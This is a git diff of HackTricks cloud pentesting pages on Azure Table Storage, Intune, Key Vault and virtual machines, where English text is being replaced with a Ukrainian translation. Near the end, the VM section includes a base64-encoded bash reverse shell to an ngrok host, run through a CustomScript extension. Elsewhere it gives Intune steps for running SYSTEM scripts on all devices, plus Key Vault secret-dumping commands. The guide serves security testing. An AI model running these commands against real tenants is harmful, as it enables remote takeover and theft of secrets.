--table-name <TABLE_NAME> \
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
--account-name <STORAGE_ACCOUNT_NAME> \
--table-name <TABLE_NAME> \
--entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
# Write example
az storage entity insert \
--account-name mystorageaccount \
--table-name mytable \
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
--account-name mystorageaccount \
--table-name mytable \
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
# Update row
az storage entity merge \
--account-name mystorageaccount \
--table-name mytable \
--entity PartitionKey=pk1 RowKey=rk1 Age=31
--account-name mystorageaccount \
--table-name mytable \
--entity PartitionKey=pk1 RowKey=rk1 Age=31
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
# Get storage accounts
Get-AzStorageAccount
@@ -73,41 +70,36 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
> За замовчуванням `az` cli використовуватиме ключ облікового запису для підписання ключа та виконання дії. Щоб використовувати привілеї Entra ID, використовуйте параметри `--auth-mode login`.
> [!TIP]
> Use the param `--account-key` to indicate the account key to use\
> Use the param `--sas-token` with the SAS token to access via a SAS token
> Використовуйте параметр `--account-key`, щоб вказати ключ облікового запису для використання\
> Використовуйте параметр `--sas-token` з токеном SAS для доступу через токен SAS
## Privilege Escalation
## Підвищення привілеїв
Same as storage privesc:
Так само, як і з підвищенням привілеїв зберігання:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## Post Exploitation
## Постексплуатація
{{#ref}}
../az-post-exploitation/az-table-storage-post-exploitation.md
{{#endref}}
## Persistence
## Постійність
Same as storage persistence:
Так само, як і з постійністю зберігання:
{{#ref}}
../az-persistence/az-storage-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,32 +4,26 @@
## Basic Information
Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
Microsoft Intune призначений для спрощення процесу **управління додатками та пристроями**. Його можливості охоплюють різноманітні пристрої, включаючи мобільні пристрої, настільні комп'ютери та віртуальні кінцеві точки. Основна функціональність Intune зосереджена на **управлінні доступом користувачів та спрощенні адміністрування додатків** і пристроїв у мережі організації.
## Cloud -> On-Prem
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
Користувач з роллю **Global Administrator** або **Intune Administrator** може виконувати **PowerShell** скрипти на будь-якому **зареєстрованому Windows** пристрої.\
**Скрипт** виконується з **привілеями** **SYSTEM** на пристрої лише один раз, якщо він не змінюється, і з Intune **неможливо побачити вихідні дані** скрипта.
```powershell
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. Увійдіть на [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) або використайте Pass-The-PRT
2. Перейдіть до **Пристрої** -> **Усі пристрої**, щоб перевірити пристрої, зареєстровані в Intune
3. Перейдіть до **Скрипти** та натисніть **Додати** для Windows 10.
4. Додайте **Powershell скрипт**
- ![](<../../../images/image (264).png>)
5. Вкажіть **Додати всіх користувачів** та **Додати всі пристрої** на сторінці **Призначення**.
1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
3. Go to **Scripts** and click on **Add** for Windows 10.
4. Add a **Powershell script**
- ![](<../../../images/image (264).png>)
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
Виконання скрипта може зайняти до **однієї години**.
The execution of the script can take up to **one hour**.
## References
## Посилання
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,37 +4,37 @@
## Basic Information
**Azure Key Vault** is a cloud service provided by Microsoft Azure for securely storing and managing sensitive information such as **secrets, keys, certificates, and passwords**. It acts as a centralized repository, offering secure access and fine-grained control using Azure Active Directory (Azure AD). From a security perspective, Key Vault provides **hardware security module (HSM) protection** for cryptographic keys, ensures secrets are encrypted both at rest and in transit, and offers robust access management through **role-based access control (RBAC)** and policies. It also features **audit logging**, integration with Azure Monitor for tracking access, and automated key rotation to reduce risk from prolonged key exposure.
**Azure Key Vault** - це хмарна служба, що надається Microsoft Azure для безпечного зберігання та управління чутливою інформацією, такою як **секрети, ключі, сертифікати та паролі**. Вона діє як централізований репозиторій, пропонуючи безпечний доступ і детальний контроль за допомогою Azure Active Directory (Azure AD). З точки зору безпеки, Key Vault забезпечує **захист апаратного модуля безпеки (HSM)** для криптографічних ключів, гарантує, що секрети шифруються як у спокої, так і в русі, і пропонує надійне управління доступом через **контроль доступу на основі ролей (RBAC)** та політики. Вона також має **журнал аудиту**, інтеграцію з Azure Monitor для відстеження доступу та автоматизовану ротацію ключів для зменшення ризику від тривалого відкриття ключів.
See [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) for complete details.
Дивіться [огляд REST API Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) для отримання повних деталей.
According to the [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vaults support storing software and HSM-backed keys, secrets, and certificates. Managed HSM pools only support HSM-backed keys.
Згідно з [**документацією**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Сховища підтримують зберігання програмних та HSM-підтримуваних ключів, секретів і сертифікатів. Керовані HSM пули підтримують лише HSM-підтримувані ключі.
The **URL format** for **vaults** is `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` and for managed HSM pools it's: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
**Формат URL** для **сховищ** - `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`, а для керованих HSM пулів - `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
Where:
Де:
- `vault-name` is the globally **unique** name of the key vault
- `object-type` can be "keys", "secrets" or "certificates"
- `object-name` is **unique** name of the object within the key vault
- `object-version` is system generated and optionally used to address a **unique version of an object**.
- `vault-name` - це глобально **унікальне** ім'я ключового сховища
- `object-type` може бути "keys", "secrets" або "certificates"
- `object-name` - **унікальне** ім'я об'єкта в межах ключового сховища
- `object-version` - генерується системою і за бажанням використовується для адресації **унікальної версії об'єкта**.
In order to access to the secrets stored in the vault it's possible to select between 2 permissions models when creating the vault:
Для доступу до секретів, збережених у сховищі, можна вибрати між 2 моделями дозволів під час створення сховища:
- **Vault access policy**
- **Azure RBAC** (most common and recommended)
- You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
- **Політика доступу до сховища**
- **Azure RBAC** (найбільш поширена та рекомендована)
- Ви можете знайти всі детальні дозволи, що підтримуються, за адресою [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
### Access Control <a href="#access-control" id="access-control"></a>
Access to a Key Vault resource is controlled by two planes:
Доступ до ресурсу Key Vault контролюється двома площинами:
- The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
- It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
- The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
- It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
- **управлінська площина**, ціль якої - [management.azure.com](http://management.azure.com/).
- Використовується для управління ключовим сховищем та **політиками доступу**. Підтримується лише контроль доступу на основі ролей Azure (**RBAC**).
- **площина даних**, ціль якої - **`<vault-name>.vault.azure.com`**.
- Використовується для управління та доступу до **даних** (ключів, секретів і сертифікатів) **в ключовому сховищі**. Це підтримує **політики доступу до ключового сховища** або Azure **RBAC**.
A role like **Contributor** that has permissions in the management place to manage access policies can get access to the secrets by modifying the access policies.
Роль, така як **Contributor**, яка має дозволи в управлінській площині для управління політиками доступу, може отримати доступ до секретів, змінюючи політики доступу.
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
@@ -42,29 +42,26 @@ A role like **Contributor** that has permissions in the management place to mana
### Network Access
In Azure Key Vault, **firewall** rules can be set up to **allow data plane operations only from specified virtual networks or IPv4 address ranges**. This restriction also affects access through the Azure administration portal; users will not be able to list keys, secrets, or certificates in a key vault if their login IP address is not within the authorized range.
For analyzing and managing these settings, you can use the **Azure CLI**:
У Azure Key Vault можна налаштувати **правила брандмауера**, щоб **дозволити операції площини даних лише з вказаних віртуальних мереж або діапазонів IPv4 адрес**. Це обмеження також впливає на доступ через портал адміністрування Azure; користувачі не зможуть перерахувати ключі, секрети або сертифікати в ключовому сховищі, якщо їх IP-адреса не входить до авторизованого діапазону.
Для аналізу та управління цими налаштуваннями ви можете використовувати **Azure CLI**:
```bash
az keyvault show --name name-vault --query networkAcls
```
Попередня команда відобразить налаштування б**рандмауера `name-vault`**, включаючи активовані IP-діапазони та політики для забороненого трафіку.
The previous command will display the f**irewall settings of `name-vault`**, including enabled IP ranges and policies for denied traffic.
Більше того, можливо створити **приватну точку доступу**, щоб дозволити приватне з'єднання з сейфом.
Moreover, it's possible to create a **private endpoint** to allow a private connection to a vault.
### Захист від видалення
### Deletion Protection
Коли створюється ключовий сейф, мінімальна кількість днів для дозволу на видалення становить 7. Це означає, що щоразу, коли ви намагаєтеся видалити цей ключовий сейф, йому знадобиться **принаймні 7 днів для видалення**.
When a key vault is created the minimum number of days to allow for deletion is 7. Which means that whenever you try to delete that key vault it'll need **at least 7 days to be deleted**.
Однак можливо створити сейф з **вимкненим захистом від очищення**, що дозволяє очищати ключовий сейф та об'єкти під час періоду зберігання. Хоча, як тільки цей захист увімкнено для сейфа, його не можна вимкнути.
However, it's possible to create a vault with **purge protection disabled** which allow key vault and objects to be purged during retention period. Although, once this protection is enabled for a vault it cannot be disabled.
## Enumeration
## Перерахування
{{#tabs }}
{{#tab name="az" }}
```bash
# List all Key Vaults in the subscription
az keyvault list
@@ -92,11 +89,9 @@ az keyvault secret show --vault-name <KeyVaultName> --name <SecretName>
# Get old versions secret value
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
@@ -120,11 +115,9 @@ Get-AzKeyVault -VaultName <KeyVaultName> -InRemovedState
# Get secret values
Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -AsPlainText
```
{{#endtab }}
{{#tab name="az script" }}
```bash
#!/bin/bash
@@ -151,38 +144,33 @@ echo "Vault Name,Associated Resource Group" > $CSV_OUTPUT
# Iterate over each resource group
for GROUP in $AZ_RESOURCE_GROUPS
do
# Fetch key vaults within the current resource group
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
# Fetch key vaults within the current resource group
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
# Process each key vault
for VAULT in $VAULT_LIST
do
# Extract the key vault's name
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
# Process each key vault
for VAULT in $VAULT_LIST
do
# Extract the key vault's name
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
# Append the key vault name and its resource group to the file
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
done
# Append the key vault name and its resource group to the file
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
done
done
```
{{#endtab }}
{{#endtabs }}
## Privilege Escalation
## Підвищення Привілеїв
{{#ref}}
../az-privilege-escalation/az-key-vault-privesc.md
{{#endref}}
## Post Exploitation
## Після Експлуатації
{{#ref}}
../az-post-exploitation/az-key-vault-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,61 +1,60 @@
# Az - Virtual Machines & Network
# Az - Віртуальні машини та мережа
{{#include ../../../../banners/hacktricks-training.md}}
## Azure Networking Basic Info
## Основна інформація про мережі Azure
Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:
Мережі Azure містять **різні сутності та способи їх налаштування.** Ви можете знайти короткі **описи,** **приклади** та **команди перерахування** різних сутностей мережі Azure в:
{{#ref}}
az-azure-network.md
{{#endref}}
## VMs Basic information
## Основна інформація про ВМ
Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux operating systems**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
Віртуальні машини Azure (ВМ) є гнучкими, на вимогу **хмарними серверами, які дозволяють запускати операційні системи Windows або Linux**. Вони дозволяють розгортати програми та навантаження без управління фізичним обладнанням. Віртуальні машини Azure можуть бути налаштовані з різними параметрами ЦП, пам'яті та зберігання для задоволення конкретних потреб і інтеграції з сервісами Azure, такими як віртуальні мережі, зберігання та інструменти безпеки.
### Security Configurations
### Налаштування безпеки
- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
- **Security Type**:
- **Standard Security**: This is the default security type that does not require any specific configuration.
- **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
- **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
- It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC network security group**:
- **None**: Basically opens every port
- **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Advanced**: Select a security group
- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- **Heath monitor**: By default check protocol HTTP in port 80
- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
- Most VM related resources **also support locks** like disks, snapshots...
- Locks can also be applied at **resource group and subscription levels**
- **Зони доступності**: Зони доступності - це окремі групи дата-центрів у конкретному регіоні Azure, які фізично відокремлені, щоб мінімізувати ризик впливу кількох зон через локальні відключення або катастрофи.
- **Тип безпеки**:
- **Стандартна безпека**: Це тип безпеки за замовчуванням, який не вимагає жодного специфічного налаштування.
- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого програмного забезпечення на рівні ядра, використовуючи Secure Boot і віртуальний модуль безпечної платформи (vTPM).
- **Конфіденційні ВМ**: На основі довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування диска та [**більше**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Аутентифікація**: За замовчуванням генерується новий **SSH ключ**, хоча можливо використовувати публічний ключ або попередній ключ, а ім'я користувача за замовчуванням - **azureuser**. Також можливо налаштувати використання **пароля.**
- **Шифрування диска ВМ:** Диск за замовчуванням шифрується в спокої, використовуючи ключ, керований платформою.
- Також можливо увімкнути **Шифрування на хості**, де дані будуть зашифровані на хості перед відправкою до служби зберігання, забезпечуючи шифрування від кінця до кінця між хостом і службою зберігання ([**документація**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Група безпеки мережі NIC**:
- **Немає**: В основному відкриває кожен порт
- **Базова**: Дозволяє легко відкрити вхідні порти HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Розширена**: Виберіть групу безпеки
- **Резервне копіювання**: Можливо увімкнути **Стандартне** резервне копіювання (один раз на день) та **Розширене** (кілька разів на день)
- **Опції оркестрації патчів**: Це дозволяє автоматично застосовувати патчі у ВМ відповідно до вибраної політики, як описано в [**документації**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Сповіщення**: Можливо автоматично отримувати сповіщення електронною поштою або через мобільний додаток, коли щось відбувається у ВМ. Правила за замовчуванням:
- Відсоток ЦП перевищує 80%
- Доступна пам'ять менше 1 ГБ
- Витрачений відсоток IOPS дисків даних перевищує 95%
- Витрачений відсоток IOPS ОС перевищує 95%
- Загальна мережа перевищує 500 ГБ
- Загальний вихід мережі перевищує 200 ГБ
- VmAvailabilityMetric менше 1
- **Монітор здоров'я**: За замовчуванням перевіряє протокол HTTP на порту 80
- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок).
- Більшість ресурсів, пов'язаних з ВМ, **також підтримують замки**, такі як диски, знімки...
- Замки також можуть бути застосовані на **рівнях групи ресурсів та підписки**
## Disks & snapshots
## Диски та знімки
- It's possible to **enable to attach a disk to 2 or more VMs**
- By default every disk is **encrypted** with a platform key.
- Same in snapshots
- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
- Same in snapshots
- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
- Same in snapshots
- Можливо **увімкнути приєднання диска до 2 або більше ВМ**
- За замовчуванням кожен диск **шифрується** за допомогою ключа платформи.
- Те ж саме стосується знімків
- За замовчуванням можливо **поділитися диском з усіма мережами**, але його також можна **обмежити** лише певними **приватними доступами** або **повністю відключити** публічний і приватний доступ.
- Те ж саме стосується знімків
- Можливо **згенерувати SAS URI** (максимум на 60 днів) для **експорту диска**, який може бути налаштований на вимогу аутентифікації або ні
- Те ж саме стосується знімків
{{#tabs}}
{{#tab name="az cli"}}
```bash
# List all disks
az disk list --output table
@@ -63,10 +62,8 @@ az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
# List all disks
Get-AzDisk
@@ -74,20 +71,18 @@ Get-AzDisk
# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}
## Images, Gallery Images & Restore points
## Зображення, Галерея зображень та Точки відновлення
A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\
Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public.
**Зображення ВМ** - це шаблон, який містить операційну систему, налаштування додатків та файлову систему, необхідні для **створення нової віртуальної машини (ВМ)**. Різниця між зображенням та знімком диска полягає в тому, що знімок диска є лише для читання, точковою копією одного керованого диска, що використовується переважно для резервного копіювання або усунення несправностей, тоді як зображення може містити **кілька дисків і призначене для використання як шаблон для створення нових ВМ**.\
Зображення можна керувати в **розділі Зображення** Azure або в **галереях обчислень Azure**, що дозволяє генерувати **версії** та **ділитися** зображенням між орендарями або навіть зробити його публічним.
A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
**Точка відновлення** зберігає конфігурацію ВМ та **точкові** знімки, що відповідають додаткам, **всіх керованих дисків**, підключених до ВМ. Вона пов'язана з ВМ, і її мета - мати можливість відновити цю ВМ до стану, в якому вона була в той конкретний момент.
{{#tabs}}
{{#tab name="az cli"}}
```bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
@@ -119,10 +114,8 @@ az image list --output table
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
## List all galleries and get info about one
Get-AzGallery
@@ -146,73 +139,67 @@ Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}
## Azure Site Recovery
From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it.
З [**документації**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery допомагає забезпечити безперервність бізнесу, підтримуючи роботу бізнес-додатків та навантажень під час збоїв. Site Recovery **реплікує навантаження**, що працюють на фізичних та віртуальних машинах (VM) з основного сайту на вторинне місце. Коли відбувається збій на вашому основному сайті, ви переходите на вторинне місце і отримуєте доступ до додатків звідти. Після відновлення основного місця ви можете повернутися до нього.
## Azure Bastion
Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs.
Azure Bastion забезпечує безпечний та безперешкодний **Remote Desktop Protocol (RDP)** та **Secure Shell (SSH)** доступ до ваших віртуальних машин (VM) безпосередньо через Azure Portal або через jump box. Завдяки **усуненню необхідності в публічних IP-адресах** на ваших VM.
The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**.
Bastion розгортає підмережу під назвою **`AzureBastionSubnet`** з маскою підмережі `/26` у VNet, в якій потрібно працювати. Потім він дозволяє **підключатися до внутрішніх VM через браузер** за допомогою `RDP` та `SSH`, уникаючи відкриття портів VM для Інтернету. Він також може працювати як **jump host**.
To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:
Щоб перерахувати всі Azure Bastion Hosts у вашій підписці та підключитися до VM через них, ви можете використовувати наступні команди:
{{#tabs}}
{{#tab name="az cli"}}
```bash
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
# List bastions
Get-AzBastion
```
{{#endtab}}
{{#endtabs}}
## Metadata
The Azure Instance Metadata Service (IMDS) **provides information about running virtual machine instances** to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via **REST API available at the non-routable IP address 169.254.169.254**, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.
Служба метаданих екземпляра Azure (IMDS) **надає інформацію про запущені екземпляри віртуальних машин** для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через **REST API, доступний за нерутованою IP-адресою 169.254.169.254**, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належного зв'язку.
Moreover, to contact the metadata endpoint, the HTTP request must have the header **`Metadata: true`** and must not have the header **`X-Forwarded-For`**.
Крім того, щоб зв'язатися з кінцевою точкою метаданих, HTTP-запит повинен містити заголовок **`Metadata: true`** і не повинен містити заголовок **`X-Forwarded-For`**.
Check how to enumerate it in:
Перевірте, як його перерахувати в:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
{{#endref}}
## VM Enumeration
```bash
# VMs
## List all VMs and get info about one
@@ -234,8 +221,8 @@ az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
@@ -440,22 +427,20 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
## Виконання коду у ВМ
## Code Execution in VMs
### Розширення ВМ
### VM Extensions
Azure VM розширення - це невеликі програми, які забезпечують **конфігурацію після розгортання** та автоматизацію завдань на віртуальних машинах Azure (ВМ).
Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs).
Це дозволить **виконувати довільний код всередині ВМ**.
This would allow to **execute arbitrary code inside VMs**.
Необхідний дозвіл - **`Microsoft.Compute/virtualMachines/extensions/write`**.
The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**.
It's possible to list all the available extensions with:
Можна перерахувати всі доступні розширення за допомогою:
{{#tabs }}
{{#tab name="Az Cli" }}
```bash
# It takes some mins to run
az vm extension image list --output table
@@ -463,25 +448,21 @@ az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
{{#endtab }}
{{#endtabs }}
It's possible to **run custom extensions that runs custom code**:
Можливо **запускати власні розширення, які виконують власний код**:
{{#tabs }}
{{#tab name="Linux" }}
- Execute a revers shell
- Виконати зворотний шелл
```bash
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -489,122 +470,110 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Execute a script located on the internet
- Виконати скрипт, розташований в Інтернеті
```bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
